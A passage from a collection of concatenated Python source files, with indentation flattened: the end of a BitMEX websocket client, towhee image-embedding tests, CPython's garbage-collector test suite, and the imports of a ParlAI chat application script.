continue # No item found to update. Could happen before push
# Log executions
if table == 'order':
is_canceled = 'ordStatus' in updateData and updateData['ordStatus'] == 'Canceled'
if 'cumQty' in updateData and not is_canceled:
contExecuted = updateData['cumQty'] - item['cumQty']
if contExecuted > 0:
instrument = self.get_instrument(item['symbol'])
logger.info("Execution: %s %d Contracts of %s at %.*f" %
(item['side'], contExecuted, item['symbol'],
instrument['tickLog'], item['price'] or updateData['price']))
# Update this item.
item.update(updateData)
# Remove canceled / filled orders
if table == 'order' and item['leavesQty'] <= 0:
self.data[table].remove(item)
elif action == 'delete':
logger.debug('%s: deleting %s' % (table, message['data']))
# Locate the item in the collection and remove it.
for deleteData in message['data']:
item = findItemByKeys(self.keys[table], self.data[table], deleteData)
self.data[table].remove(item)
else:
raise Exception("Unknown action: %s" % action)
except:
logger.error(traceback.format_exc())
def __on_open(self):
logger.debug("Websocket Opened.")
def __on_close(self):
logger.info('Websocket Closed')
self.exit()
def __on_error(self, error):
if not self.exited:
self.error(error)
def __reset(self):
self.data = {}
self.keys = {}
self.exited = False
self._error = None
def findItemByKeys(keys, table, matchData):
for item in table:
matched = True
for key in keys:
if item[key] != matchData[key]:
matched = False
if matched:
return item
if __name__ == "__main__":
# create console handler and set level to debug
logger = log.setup_custom_logger('websocket', logging.DEBUG)
ws = BitMEXWebsocket()
ws.connect("https://testnet.bitmex.com/api/v1")
while(ws.ws.sock.connected):
sleep(1)
|
test_image_embedding.py
|
# coding : UTF-8
import sys
sys.path.append("../../tests")
import time
import threading
from towhee import pipeline
from common import common_func as cf
data_path = "images/"
class TestImageEmbeddingInvalid:
""" Test case of invalid embedding interface """
def test_embedding_no_parameter(self, pipeline_name):
"""
target: test embedding for invalid scenario
method: embedding with no image, now issue 154
expected: raise exception
"""
embedding_pipeline = pipeline(pipeline_name)
try:
embedding = embedding_pipeline()
except RuntimeError as e:
print("Raise Exception: %s" % e)
return True
def test_embedding_wrong_parameter(self, pipeline_name):
"""
target: test embedding for invalid scenario
method: embedding with no image, now issue 154
expected: raise exception
"""
embedding_pipeline = pipeline(pipeline_name)
try:
embedding = embedding_pipeline("")
except Exception as e:
print("Raise Exception: %s" % e)
return True
def test_embedding_not_exist_image(self, pipeline_name):
"""
target: test embedding for invalid scenario
method: embedding with no image, now issue 154
expected: raise exception
"""
embedding_pipeline = pipeline(pipeline_name)
not_exist_img = "towhee_no_exist.jpg"
try:
embedding = embedding_pipeline(not_exist_img)
except Exception as e:
print("Raise Exception: %s" % e)
return True
def test_embedding_image_list(self, pipeline_name):
"""
target: test embedding with image list
method: embedding with image list
expected: raise exception
"""
N = 3
img_list = []
img = cf.create_image()
for i in range(N):
img_list.append(img)
embedding_pipeline = pipeline(pipeline_name)
try:
embedding = embedding_pipeline(img_list)
except Exception as e:
print("Raise Exception: %s" % e)
return True
class TestImageEmbeddingValid:
""" Test case of valid embedding interface """
def test_embedding_one_image(self, pipeline_name, embedding_size):
"""
target: test embedding for normal case
method: embedding with one image
expected: return embeddings
"""
embedding_pipeline = pipeline(pipeline_name)
embedding = embedding_pipeline(data_path + "towhee_test_image0.jpg")
assert embedding.size == embedding_size
return True
def test_embedding_same_images(self, pipeline_name, embedding_size):
"""
target: test embedding for normal case
method: embedding with same images
expected: return identical embeddings
"""
embedding_pipeline = pipeline(pipeline_name)
embedding = embedding_pipeline(data_path + "towhee_test_image0.jpg")
embedding1 = embedding_pipeline(data_path + "towhee_test_image2.jpg")
assert embedding.size == embedding_size
assert embedding.all() == embedding1.all()
return True
def test_embedding_different_images(self, pipeline_name, embedding_size):
"""
target: test embedding for normal case
method: embedding with different images
expected: return not identical embeddings
"""
nums = 2
embeddings = []
embedding_pipeline = pipeline(pipeline_name)
for i in range(nums):
embedding = embedding_pipeline(data_path + "towhee_test_image%d.jpg" % i)
embeddings.append(embedding)
assert embedding.size == embedding_size
assert embeddings[0] is not embeddings[1]
return True
def test_embedding_one_image_multiple_times(self, pipeline_name, embedding_size):
"""
target: test embedding for normal case
method: embedding one image for multiple times
expected: return identical embeddings
"""
nums = 10
embedding_pipeline = pipeline(pipeline_name)
embedding_last = embedding_pipeline(data_path + "towhee_test_image1.jpg")
for i in range(nums):
embedding = embedding_pipeline(data_path + "towhee_test_image1.jpg")
assert embedding.size == embedding_size
assert embedding.all() == embedding_last.all()
print("embedding images for %d round" % (i+1))
return True
def test_embedding_images_multiple_times(self, pipeline_name, embedding_size):
"""
target: test embedding for normal case
method: embedding images for multiple times
expected: return embeddings
"""
nums = 2
times = 10
embedding_pipeline = pipeline(pipeline_name)
for i in range(times):
embeddings = []
for j in range(nums):
embedding = embedding_pipeline(data_path + "towhee_test_image%d.jpg" % j)
embeddings.append(embedding)
assert embedding.size == embedding_size
assert embeddings[0] is not embeddings[1]
print("embedding images for %d round" % (i+1))
return True
def test_embedding_concurrent_multi_threads(self, pipeline_name, embedding_size):
"""
target: test embedding for normal case
method: embedding with concurrent multi-processes
expected: return embeddings
"""
threads_num = 10
threads = []
def embedding():
embedding_pipeline = pipeline(pipeline_name)
embedding = embedding_pipeline(data_path + "towhee_test_image2.jpg")
assert embedding.size == embedding_size
for i in range(threads_num):
t = threading.Thread(target=embedding)
threads.append(t)
t.start()
time.sleep(0.2)
for t in threads:
t.join()
return True
|
test_gc.py
|
import unittest
from test.support import (verbose, refcount_test, run_unittest,
strip_python_stderr, cpython_only, start_threads,
temp_dir, requires_type_collecting, TESTFN, unlink)
from test.support.script_helper import assert_python_ok, make_script
import sys
import time
import gc
import weakref
try:
import threading
except ImportError:
threading = None
try:
from _testcapi import with_tp_del
except ImportError:
def with_tp_del(cls):
class C(object):
def __new__(cls, *args, **kwargs):
raise TypeError('requires _testcapi.with_tp_del')
return C
### Support code
###############################################################################
# Bug 1055820 has several tests of longstanding bugs involving weakrefs and
# cyclic gc.
# An instance of C1055820 has a self-loop, so becomes cyclic trash when
# unreachable.
class C1055820(object):
def __init__(self, i):
self.i = i
self.loop = self
class GC_Detector(object):
# Create an instance I. Then gc hasn't happened again so long as
# I.gc_happened is false.
def __init__(self):
self.gc_happened = False
def it_happened(ignored):
self.gc_happened = True
# Create a piece of cyclic trash that triggers it_happened when
# gc collects it.
self.wr = weakref.ref(C1055820(666), it_happened)
@with_tp_del
class Uncollectable(object):
"""Create a reference cycle with multiple __del__ methods.
An object in a reference cycle will never have zero references,
and so must be garbage collected. If one or more objects in the
cycle have __del__ methods, the gc refuses to guess an order,
and leaves the cycle uncollected."""
def __init__(self, partner=None):
if partner is None:
self.partner = Uncollectable(partner=self)
else:
self.partner = partner
def __tp_del__(self):
pass
### Tests
###############################################################################
class GCTests(unittest.TestCase):
def test_list(self):
l = []
l.append(l)
gc.collect()
del l
self.assertEqual(gc.collect(), 1)
def test_dict(self):
d = {}
d[1] = d
gc.collect()
del d
self.assertEqual(gc.collect(), 1)
def test_tuple(self):
# since tuples are immutable we close the loop with a list
l = []
t = (l,)
l.append(t)
gc.collect()
del t
del l
self.assertEqual(gc.collect(), 2)
def test_class(self):
class A:
pass
A.a = A
gc.collect()
del A
self.assertNotEqual(gc.collect(), 0)
def test_newstyleclass(self):
class A(object):
pass
gc.collect()
del A
self.assertNotEqual(gc.collect(), 0)
def test_instance(self):
class A:
pass
a = A()
a.a = a
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
@requires_type_collecting
def test_newinstance(self):
class A(object):
pass
a = A()
a.a = a
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
class B(list):
pass
class C(B, A):
pass
a = C()
a.a = a
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
del B, C
self.assertNotEqual(gc.collect(), 0)
A.a = A()
del A
self.assertNotEqual(gc.collect(), 0)
self.assertEqual(gc.collect(), 0)
def test_method(self):
# Tricky: self.__init__ is a bound method, it references the instance.
class A:
def __init__(self):
self.init = self.__init__
a = A()
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
@cpython_only
def test_legacy_finalizer(self):
# A() is uncollectable if it is part of a cycle, make sure it shows up
# in gc.garbage.
@with_tp_del
class A:
def __tp_del__(self): pass
class B:
pass
a = A()
a.a = a
id_a = id(a)
b = B()
b.b = b
gc.collect()
del a
del b
self.assertNotEqual(gc.collect(), 0)
for obj in gc.garbage:
if id(obj) == id_a:
del obj.a
break
else:
self.fail("didn't find obj in garbage (finalizer)")
gc.garbage.remove(obj)
@cpython_only
def test_legacy_finalizer_newclass(self):
# A() is uncollectable if it is part of a cycle, make sure it shows up
# in gc.garbage.
@with_tp_del
class A(object):
def __tp_del__(self): pass
class B(object):
pass
a = A()
a.a = a
id_a = id(a)
b = B()
b.b = b
gc.collect()
del a
del b
self.assertNotEqual(gc.collect(), 0)
for obj in gc.garbage:
if id(obj) == id_a:
del obj.a
break
else:
self.fail("didn't find obj in garbage (finalizer)")
gc.garbage.remove(obj)
def test_function(self):
# Tricky: f -> d -> f, code should call d.clear() after the exec to
# break the cycle.
d = {}
exec("def f(): pass\n", d)
gc.collect()
del d
self.assertEqual(gc.collect(), 2)
@refcount_test
def test_frame(self):
def f():
frame = sys._getframe()
gc.collect()
f()
self.assertEqual(gc.collect(), 1)
def test_saveall(self):
# Verify that cyclic garbage like lists show up in gc.garbage if the
# SAVEALL option is enabled.
# First make sure we don't save away other stuff that just happens to
# be waiting for collection.
gc.collect()
# if this fails, someone else created immortal trash
self.assertEqual(gc.garbage, [])
L = []
L.append(L)
id_L = id(L)
debug = gc.get_debug()
gc.set_debug(debug | gc.DEBUG_SAVEALL)
del L
gc.collect()
gc.set_debug(debug)
self.assertEqual(len(gc.garbage), 1)
obj = gc.garbage.pop()
self.assertEqual(id(obj), id_L)
def test_del(self):
# __del__ methods can trigger collection, make this to happen
thresholds = gc.get_threshold()
gc.enable()
gc.set_threshold(1)
class A:
def __del__(self):
dir(self)
a = A()
del a
gc.disable()
gc.set_threshold(*thresholds)
def test_del_newclass(self):
# __del__ methods can trigger collection, make this to happen
thresholds = gc.get_threshold()
gc.enable()
gc.set_threshold(1)
class A(object):
def __del__(self):
dir(self)
a = A()
del a
gc.disable()
gc.set_threshold(*thresholds)
# The following two tests are fragile:
# They precisely count the number of allocations,
# which is highly implementation-dependent.
# For example, disposed tuples are not freed, but reused.
# To minimize variations, though, we first store the get_count() results
# and check them at the end.
@refcount_test
def test_get_count(self):
gc.collect()
a, b, c = gc.get_count()
x = []
d, e, f = gc.get_count()
self.assertEqual((b, c), (0, 0))
self.assertEqual((e, f), (0, 0))
# This is less fragile than asserting that a equals 0.
self.assertLess(a, 5)
# Between the two calls to get_count(), at least one object was
# created (the list).
self.assertGreater(d, a)
@refcount_test
def test_collect_generations(self):
gc.collect()
# This object will "trickle" into generation N + 1 after
# each call to collect(N)
x = []
gc.collect(0)
# x is now in gen 1
a, b, c = gc.get_count()
gc.collect(1)
# x is now in gen 2
d, e, f = gc.get_count()
gc.collect(2)
# x is now in gen 3
g, h, i = gc.get_count()
# We don't check a, d, g since their exact values depends on
# internal implementation details of the interpreter.
self.assertEqual((b, c), (1, 0))
self.assertEqual((e, f), (0, 1))
self.assertEqual((h, i), (0, 0))
def test_trashcan(self):
class Ouch:
n = 0
def __del__(self):
Ouch.n = Ouch.n + 1
if Ouch.n % 17 == 0:
gc.collect()
# "trashcan" is a hack to prevent stack overflow when deallocating
# very deeply nested tuples etc. It works in part by abusing the
# type pointer and refcount fields, and that can yield horrible
# problems when gc tries to traverse the structures.
# If this test fails (as it does in 2.0, 2.1 and 2.2), it will
# most likely die via segfault.
# Note: In 2.3 the possibility for compiling without cyclic gc was
# removed, and that in turn allows the trashcan mechanism to work
# via much simpler means (e.g., it never abuses the type pointer or
# refcount fields anymore). Since it's much less likely to cause a
# problem now, the various constants in this expensive (we force a lot
# of full collections) test are cut back from the 2.2 version.
gc.enable()
N = 150
for count in range(2):
t = []
for i in range(N):
t = [t, Ouch()]
u = []
for i in range(N):
u = [u, Ouch()]
v = {}
for i in range(N):
v = {1: v, 2: Ouch()}
gc.disable()
@unittest.skipUnless(threading, "test meaningless on builds without threads")
def test_trashcan_threads(self):
# Issue #13992: trashcan mechanism should be thread-safe
NESTING = 60
N_THREADS = 2
def sleeper_gen():
"""A generator that releases the GIL when closed or dealloc'ed."""
try:
yield
finally:
time.sleep(0.000001)
class C(list):
# Appending to a list is atomic, which avoids the use of a lock.
inits = []
dels = []
def __init__(self, alist):
self[:] = alist
C.inits.append(None)
def __del__(self):
# This __del__ is called by subtype_dealloc().
C.dels.append(None)
# `g` will release the GIL when garbage-collected. This
# helps assert subtype_dealloc's behaviour when threads
# switch in the middle of it.
g = sleeper_gen()
next(g)
# Now that __del__ is finished, subtype_dealloc will proceed
# to call list_dealloc, which also uses the trashcan mechanism.
def make_nested():
"""Create a sufficiently nested container object so that the
trashcan mechanism is invoked when deallocating it."""
x = C([])
for i in range(NESTING):
x = [C([x])]
del x
def run_thread():
"""Exercise make_nested() in a loop."""
while not exit:
make_nested()
old_switchinterval = sys.getswitchinterval()
sys.setswitchinterval(1e-5)
try:
exit = []
threads = []
for i in range(N_THREADS):
t = threading.Thread(target=run_thread)
threads.append(t)
with start_threads(threads, lambda: exit.append(1)):
time.sleep(1.0)
finally:
sys.setswitchinterval(old_switchinterval)
gc.collect()
self.assertEqual(len(C.inits), len(C.dels))
def test_boom(self):
class Boom:
def __getattr__(self, someattribute):
del self.attr
raise AttributeError
a = Boom()
b = Boom()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
# a<->b are in a trash cycle now. Collection will invoke
# Boom.__getattr__ (to see whether a and b have __del__ methods), and
# __getattr__ deletes the internal "attr" attributes as a side effect.
# That causes the trash cycle to get reclaimed via refcounts falling to
# 0, thus mutating the trash graph as a side effect of merely asking
# whether __del__ exists. This used to (before 2.3b1) crash Python.
# Now __getattr__ isn't called.
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_boom2(self):
class Boom2:
def __init__(self):
self.x = 0
def __getattr__(self, someattribute):
self.x += 1
if self.x > 1:
del self.attr
raise AttributeError
a = Boom2()
b = Boom2()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
# Much like test_boom(), except that __getattr__ doesn't break the
# cycle until the second time gc checks for __del__. As of 2.3b1,
# there isn't a second time, so this simply cleans up the trash cycle.
# We expect a, b, a.__dict__ and b.__dict__ (4 objects) to get
# reclaimed this way.
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_boom_new(self):
# boom__new and boom2_new are exactly like boom and boom2, except use
# new-style classes.
class Boom_New(object):
def __getattr__(self, someattribute):
del self.attr
raise AttributeError
a = Boom_New()
b = Boom_New()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_boom2_new(self):
class Boom2_New(object):
def __init__(self):
self.x = 0
def __getattr__(self, someattribute):
self.x += 1
if self.x > 1:
del self.attr
raise AttributeError
a = Boom2_New()
b = Boom2_New()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_get_referents(self):
alist = [1, 3, 5]
got = gc.get_referents(alist)
got.sort()
self.assertEqual(got, alist)
atuple = tuple(alist)
got = gc.get_referents(atuple)
got.sort()
self.assertEqual(got, alist)
adict = {1: 3, 5: 7}
expected = [1, 3, 5, 7]
got = gc.get_referents(adict)
got.sort()
self.assertEqual(got, expected)
got = gc.get_referents([1, 2], {3: 4}, (0, 0, 0))
got.sort()
self.assertEqual(got, [0, 0] + list(range(5)))
self.assertEqual(gc.get_referents(1, 'a', 4j), [])
def test_is_tracked(self):
# Atomic built-in types are not tracked, user-defined objects and
# mutable containers are.
# NOTE: types with special optimizations (e.g. tuple) have tests
# in their own test files instead.
self.assertFalse(gc.is_tracked(None))
self.assertFalse(gc.is_tracked(1))
self.assertFalse(gc.is_tracked(1.0))
self.assertFalse(gc.is_tracked(1.0 + 5.0j))
self.assertFalse(gc.is_tracked(True))
self.assertFalse(gc.is_tracked(False))
self.assertFalse(gc.is_tracked(b"a"))
self.assertFalse(gc.is_tracked("a"))
self.assertFalse(gc.is_tracked(bytearray(b"a")))
self.assertFalse(gc.is_tracked(type))
self.assertFalse(gc.is_tracked(int))
self.assertFalse(gc.is_tracked(object))
self.assertFalse(gc.is_tracked(object()))
class UserClass:
pass
class UserInt(int):
pass
# Base class is object; no extra fields.
class UserClassSlots:
__slots__ = ()
# Base class is fixed size larger than object; no extra fields.
class UserFloatSlots(float):
__slots__ = ()
# Base class is variable size; no extra fields.
class UserIntSlots(int):
__slots__ = ()
self.assertTrue(gc.is_tracked(gc))
self.assertTrue(gc.is_tracked(UserClass))
self.assertTrue(gc.is_tracked(UserClass()))
self.assertTrue(gc.is_tracked(UserInt()))
self.assertTrue(gc.is_tracked([]))
self.assertTrue(gc.is_tracked(set()))
self.assertFalse(gc.is_tracked(UserClassSlots()))
self.assertFalse(gc.is_tracked(UserFloatSlots()))
self.assertFalse(gc.is_tracked(UserIntSlots()))
def test_bug1055820b(self):
# Corresponds to temp2b.py in the bug report.
ouch = []
def callback(ignored):
ouch[:] = [wr() for wr in WRs]
Cs = [C1055820(i) for i in range(2)]
WRs = [weakref.ref(c, callback) for c in Cs]
c = None
gc.collect()
self.assertEqual(len(ouch), 0)
# Make the two instances trash, and collect again. The bug was that
# the callback materialized a strong reference to an instance, but gc
# cleared the instance's dict anyway.
Cs = None
gc.collect()
self.assertEqual(len(ouch), 2) # else the callbacks didn't run
for x in ouch:
# If the callback resurrected one of these guys, the instance
# would be damaged, with an empty __dict__.
self.assertEqual(x, None)
def test_bug21435(self):
# This is a poor test - its only virtue is that it happened to
# segfault on Tim's Windows box before the patch for 21435 was
# applied. That's a nasty bug relying on specific pieces of cyclic
# trash appearing in exactly the right order in finalize_garbage()'s
# input list.
# But there's no reliable way to force that order from Python code,
# so over time chances are good this test won't really be testing much
# of anything anymore. Still, if it blows up, there's _some_
# problem ;-)
gc.collect()
class A:
pass
class B:
def __init__(self, x):
self.x = x
def __del__(self):
self.attr = None
def do_work():
a = A()
b = B(A())
a.attr = b
b.attr = a
do_work()
gc.collect() # this blows up (bad C pointer) when it fails
@cpython_only
def test_garbage_at_shutdown(self):
import subprocess
code = """if 1:
import gc
import _testcapi
@_testcapi.with_tp_del
class X:
def __init__(self, name):
self.name = name
def __repr__(self):
return "<X %%r>" %% self.name
def __tp_del__(self):
pass
x = X('first')
x.x = x
x.y = X('second')
del x
gc.set_debug(%s)
"""
def run_command(code):
p = subprocess.Popen([sys.executable, "-Wd", "-c", code],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
p.stdout.close()
p.stderr.close()
self.assertEqual(p.returncode, 0)
self.assertEqual(stdout.strip(), b"")
return strip_python_stderr(stderr)
stderr = run_command(code % "0")
self.assertIn(b"ResourceWarning: gc: 2 uncollectable objects at "
b"shutdown; use", stderr)
self.assertNotIn(b"<X 'first'>", stderr)
# With DEBUG_UNCOLLECTABLE, the garbage list gets printed
stderr = run_command(code % "gc.DEBUG_UNCOLLECTABLE")
self.assertIn(b"ResourceWarning: gc: 2 uncollectable objects at "
b"shutdown", stderr)
self.assertTrue(
(b"[<X 'first'>, <X 'second'>]" in stderr) or
(b"[<X 'second'>, <X 'first'>]" in stderr), stderr)
# With DEBUG_SAVEALL, no additional message should get printed
# (because gc.garbage also contains normally reclaimable cyclic
# references, and its elements get printed at runtime anyway).
stderr = run_command(code % "gc.DEBUG_SAVEALL")
self.assertNotIn(b"uncollectable objects at shutdown", stderr)
@requires_type_collecting
def test_gc_main_module_at_shutdown(self):
# Create a reference cycle through the __main__ module and check
# it gets collected at interpreter shutdown.
code = """if 1:
class C:
def __del__(self):
print('__del__ called')
l = [C()]
l.append(l)
"""
rc, out, err = assert_python_ok('-c', code)
self.assertEqual(out.strip(), b'__del__ called')
@requires_type_collecting
def test_gc_ordinary_module_at_shutdown(self):
# Same as above, but with a non-__main__ module.
with temp_dir() as script_dir:
module = """if 1:
class C:
def __del__(self):
print('__del__ called')
l = [C()]
l.append(l)
"""
code = """if 1:
import sys
sys.path.insert(0, %r)
import gctest
""" % (script_dir,)
make_script(script_dir, 'gctest', module)
rc, out, err = assert_python_ok('-c', code)
self.assertEqual(out.strip(), b'__del__ called')
@requires_type_collecting
def test_global_del_SystemExit(self):
code = """if 1:
class ClassWithDel:
def __del__(self):
print('__del__ called')
a = ClassWithDel()
a.link = a
raise SystemExit(0)"""
self.addCleanup(unlink, TESTFN)
with open(TESTFN, 'w') as script:
script.write(code)
rc, out, err = assert_python_ok(TESTFN)
self.assertEqual(out.strip(), b'__del__ called')
def test_get_stats(self):
stats = gc.get_stats()
self.assertEqual(len(stats), 3)
for st in stats:
self.assertIsInstance(st, dict)
self.assertEqual(set(st),
{"collected", "collections", "uncollectable"})
self.assertGreaterEqual(st["collected"], 0)
self.assertGreaterEqual(st["collections"], 0)
self.assertGreaterEqual(st["uncollectable"], 0)
# Check that collection counts are incremented correctly
if gc.isenabled():
self.addCleanup(gc.enable)
gc.disable()
old = gc.get_stats()
gc.collect(0)
new = gc.get_stats()
self.assertEqual(new[0]["collections"], old[0]["collections"] + 1)
self.assertEqual(new[1]["collections"], old[1]["collections"])
self.assertEqual(new[2]["collections"], old[2]["collections"])
gc.collect(2)
new = gc.get_stats()
self.assertEqual(new[0]["collections"], old[0]["collections"] + 1)
self.assertEqual(new[1]["collections"], old[1]["collections"])
self.assertEqual(new[2]["collections"], old[2]["collections"] + 1)
class GCCallbackTests(unittest.TestCase):
def setUp(self):
# Save gc state and disable it.
self.enabled = gc.isenabled()
gc.disable()
self.debug = gc.get_debug()
gc.set_debug(0)
gc.callbacks.append(self.cb1)
gc.callbacks.append(self.cb2)
self.othergarbage = []
def tearDown(self):
# Restore gc state
del self.visit
gc.callbacks.remove(self.cb1)
gc.callbacks.remove(self.cb2)
gc.set_debug(self.debug)
if self.enabled:
gc.enable()
# destroy any uncollectables
gc.collect()
for obj in gc.garbage:
if isinstance(obj, Uncollectable):
obj.partner = None
del gc.garbage[:]
del self.othergarbage
gc.collect()
def preclean(self):
# Remove all fluff from the system. Invoke this function
# manually rather than through self.setUp() for maximum
# safety.
self.visit = []
gc.collect()
garbage, gc.garbage[:] = gc.garbage[:], []
self.othergarbage.append(garbage)
self.visit = []
def cb1(self, phase, info):
self.visit.append((1, phase, dict(info)))
def cb2(self, phase, info):
self.visit.append((2, phase, dict(info)))
if phase == "stop" and hasattr(self, "cleanup"):
# Clean Uncollectable from garbage
uc = [e for e in gc.garbage if isinstance(e, Uncollectable)]
gc.garbage[:] = [e for e in gc.garbage
if not isinstance(e, Uncollectable)]
for e in uc:
e.partner = None
def test_collect(self):
self.preclean()
gc.collect()
# Algorithmically verify the contents of self.visit
# because it is long and tortuous.
# Count the number of visits to each callback
n = [v[0] for v in self.visit]
n1 = [i for i in n if i == 1]
n2 = [i for i in n if i == 2]
self.assertEqual(n1, [1]*2)
self.assertEqual(n2, [2]*2)
# Count that we got the right number of start and stop callbacks.
n = [v[1] for v in self.visit]
n1 = [i for i in n if i == "start"]
n2 = [i for i in n if i == "stop"]
self.assertEqual(n1, ["start"]*2)
self.assertEqual(n2, ["stop"]*2)
# Check that we got the right info dict for all callbacks
for v in self.visit:
info = v[2]
self.assertTrue("generation" in info)
self.assertTrue("collected" in info)
self.assertTrue("uncollectable" in info)
def test_collect_generation(self):
self.preclean()
gc.collect(2)
for v in self.visit:
info = v[2]
self.assertEqual(info["generation"], 2)
@cpython_only
def test_collect_garbage(self):
self.preclean()
# Each of these cause four objects to be garbage: Two
# Uncolectables and their instance dicts.
Uncollectable()
Uncollectable()
C1055820(666)
gc.collect()
for v in self.visit:
if v[1] != "stop":
continue
info = v[2]
self.assertEqual(info["collected"], 2)
self.assertEqual(info["uncollectable"], 8)
# We should now have the Uncollectables in gc.garbage
self.assertEqual(len(gc.garbage), 4)
for e in gc.garbage:
self.assertIsInstance(e, Uncollectable)
# Now, let our callback handle the Uncollectable instances
self.cleanup=True
self.visit = []
gc.garbage[:] = []
gc.collect()
for v in self.visit:
if v[1] != "stop":
continue
info = v[2]
self.assertEqual(info["collected"], 0)
self.assertEqual(info["uncollectable"], 4)
# Uncollectables should be gone
self.assertEqual(len(gc.garbage), 0)
class GCTogglingTests(unittest.TestCase):
def setUp(self):
gc.enable()
def tearDown(self):
gc.disable()
def test_bug1055820c(self):
# Corresponds to temp2c.py in the bug report. This is pretty
# elaborate.
c0 = C1055820(0)
# Move c0 into generation 2.
gc.collect()
c1 = C1055820(1)
c1.keep_c0_alive = c0
del c0.loop # now only c1 keeps c0 alive
c2 = C1055820(2)
c2wr = weakref.ref(c2) # no callback!
ouch = []
def callback(ignored):
ouch[:] = [c2wr()]
# The callback gets associated with a wr on an object in generation 2.
c0wr = weakref.ref(c0, callback)
c0 = c1 = c2 = None
# What we've set up: c0, c1, and c2 are all trash now. c0 is in
# generation 2. The only thing keeping it alive is that c1 points to
# it. c1 and c2 are in generation 0, and are in self-loops. There's a
# global weakref to c2 (c2wr), but that weakref has no callback.
# There's also a global weakref to c0 (c0wr), and that does have a
# callback, and that callback references c2 via c2wr().
#
# c0 has a wr with callback, which references c2wr
# ^
# |
# | Generation 2 above dots
#. . . . . . . .|. . . . . . . . . . . . . . . . . . . . . . . .
# | Generation 0 below dots
# |
# |
# ^->c1 ^->c2 has a wr but no callback
# | | | |
# <--v <--v
#
# So this is the nightmare: when generation 0 gets collected, we see
# that c2 has a callback-free weakref, and c1 doesn't even have a
# weakref. Collecting generation 0 doesn't see c0 at all, and c0 is
# the only object that has a weakref with a callback. gc clears c1
# and c2. Clearing c1 has the side effect of dropping the refcount on
# c0 to 0, so c0 goes away (despite that it's in an older generation)
# and c0's wr callback triggers. That in turn materializes a reference
# to c2 via c2wr(), but c2 gets cleared anyway by gc.
# We want to let gc happen "naturally", to preserve the distinction
# between generations.
junk = []
i = 0
detector = GC_Detector()
while not detector.gc_happened:
i += 1
if i > 10000:
self.fail("gc didn't happen after 10000 iterations")
self.assertEqual(len(ouch), 0)
junk.append([]) # this will eventually trigger gc
self.assertEqual(len(ouch), 1) # else the callback wasn't invoked
for x in ouch:
# If the callback resurrected c2, the instance would be damaged,
# with an empty __dict__.
self.assertEqual(x, None)
def test_bug1055820d(self):
# Corresponds to temp2d.py in the bug report. This is very much like
# test_bug1055820c, but uses a __del__ method instead of a weakref
# callback to sneak in a resurrection of cyclic trash.
ouch = []
class D(C1055820):
def __del__(self):
ouch[:] = [c2wr()]
d0 = D(0)
# Move all the above into generation 2.
gc.collect()
c1 = C1055820(1)
c1.keep_d0_alive = d0
del d0.loop # now only c1 keeps d0 alive
c2 = C1055820(2)
c2wr = weakref.ref(c2) # no callback!
d0 = c1 = c2 = None
# What we've set up: d0, c1, and c2 are all trash now. d0 is in
# generation 2. The only thing keeping it alive is that c1 points to
# it. c1 and c2 are in generation 0, and are in self-loops. There's
# a global weakref to c2 (c2wr), but that weakref has no callback.
# There are no other weakrefs.
#
# d0 has a __del__ method that references c2wr
# ^
# |
# | Generation 2 above dots
#. . . . . . . .|. . . . . . . . . . . . . . . . . . . . . . . .
# | Generation 0 below dots
# |
# |
# ^->c1 ^->c2 has a wr but no callback
# | | | |
# <--v <--v
#
# So this is the nightmare: when generation 0 gets collected, we see
# that c2 has a callback-free weakref, and c1 doesn't even have a
# weakref. Collecting generation 0 doesn't see d0 at all. gc clears
# c1 and c2. Clearing c1 has the side effect of dropping the refcount
# on d0 to 0, so d0 goes away (despite that it's in an older
# generation) and d0's __del__ triggers. That in turn materializes
# a reference to c2 via c2wr(), but c2 gets cleared anyway by gc.
# We want to let gc happen "naturally", to preserve the distinction
# between generations.
detector = GC_Detector()
junk = []
i = 0
while not detector.gc_happened:
i += 1
if i > 10000:
self.fail("gc didn't happen after 10000 iterations")
self.assertEqual(len(ouch), 0)
junk.append([]) # this will eventually trigger gc
self.assertEqual(len(ouch), 1) # else __del__ wasn't invoked
for x in ouch:
# If __del__ resurrected c2, the instance would be damaged, with an
# empty __dict__.
self.assertEqual(x, None)
def test_main():
enabled = gc.isenabled()
gc.disable()
assert not gc.isenabled()
debug = gc.get_debug()
gc.set_debug(debug & ~gc.DEBUG_LEAK) # this test is supposed to leak
try:
gc.collect() # Delete 2nd generation garbage
run_unittest(GCTests, GCTogglingTests, GCCallbackTests)
finally:
gc.set_debug(debug)
# test gc.enable() even if GC is disabled by default
if verbose:
print("restoring automatic collection")
# make sure to always test gc.enable()
gc.enable()
assert gc.isenabled()
if not enabled:
gc.disable()
if __name__ == "__main__":
test_main()
|
application.py
|
#!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
"""
Basic script which allows local human keyboard input to talk to a trained model.
## Examples
```shell
parlai interactive -m drqa -mf "models:drqa/squad/model"
```
When prompted, enter something like: `Bob is Blue.\\nWhat is Bob?`
Input is often model or task specific, but in drqa, it is always
`context '\\n' question`.
"""
from parlai.core.params import ParlaiParser
from parlai.core.agents import create_agent
from parlai.core.worlds import create_task
from parlai.core.script import ParlaiScript, register_script
from parlai.utils.world_logging import WorldLogger
from local_human import LocalHumanAgent
import parlai.utils.logging as logging
import threading
import random
from flask import Flask, render_template, request
from waiting import wait
import os
import json
from parlai.scripts.train_model import TrainModel
from parlai.core.teachers import register_teacher, DialogTeacher
from parlai.core.agents import register_agent, Agent
import shutil
import boto3
from botocore.client import Config
from botocore.exceptions import NoCredentialsError
import shutil
